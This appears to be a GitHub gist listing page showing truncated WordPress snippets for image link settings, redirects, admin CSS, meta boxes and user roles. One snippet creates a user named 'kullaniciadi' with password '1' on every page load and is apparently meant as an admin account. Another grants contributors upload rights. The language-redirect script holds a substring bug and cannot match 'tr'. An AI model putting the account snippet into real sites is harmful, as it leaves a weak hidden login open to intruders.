This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('admin_init', 'gallery_disable', 10); | |
function gallery_disable() { | |
$image_set = get_option( 'image_default_link_type' ); | |
if ($image_set !== 'none') { | |
update_option('image_default_link_type', 'none'); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* All qTranslate Taxonomies! | |
*/ | |
add_action('admin_init', 'qtranslate_edit_taxonomies'); | |
function qtranslate_edit_taxonomies(){ | |
$args = array( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ( current_user_can('contributor') && !current_user_can('upload_files') ) | |
add_action('admin_init', 'allow_contributor_uploads'); | |
function allow_contributor_uploads() { | |
$contributor = get_role('contributor'); | |
$contributor->add_cap('upload_files'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Detected user browser langauge | |
var userLang = navigator.language || navigator.userLanguage; | |
userLang = userLang.substring(1,2); | |
if ( userLang == "tr" ) { | |
window.location.href = "http://www.sitename.com/tr"; | |
} else { | |
window.location.href = "http://www.sitename.com/en"; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init','add_new_admin'); | |
function add_new_admin(){ | |
$login = 'kullaniciadi'; | |
$pass = '1'; | |
$email = '[email protected]'; | |
if ( !username_exists( $login ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $login, $pass, $email ); | |
$user = new WP_User( $user_id ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'template_redirect', 'redirect_all_page' ); | |
function redirect_all_page() { | |
if ( !is_home() ) { // get_the_ID() != 'home_page_id' | |
wp_redirect( home_url(), 301 ); | |
exit; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('admin_head', 'devnot_custom_css'); | |
function devnot_custom_css() { | |
echo '<style> | |
body.mce-content-body { | |
font-size: 16px; | |
line-height: 24px; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Add the functions.php | |
*/ | |
add_filter( 'rwmb_meta_boxes', 'motor_ozellikleri' ); | |
function motor_ozellikleri( $meta_boxes ) | |
{ | |
$meta_boxes[] = array( | |
'title' => __( 'Motor Özelliklerini Giriniz', 'urun' ), |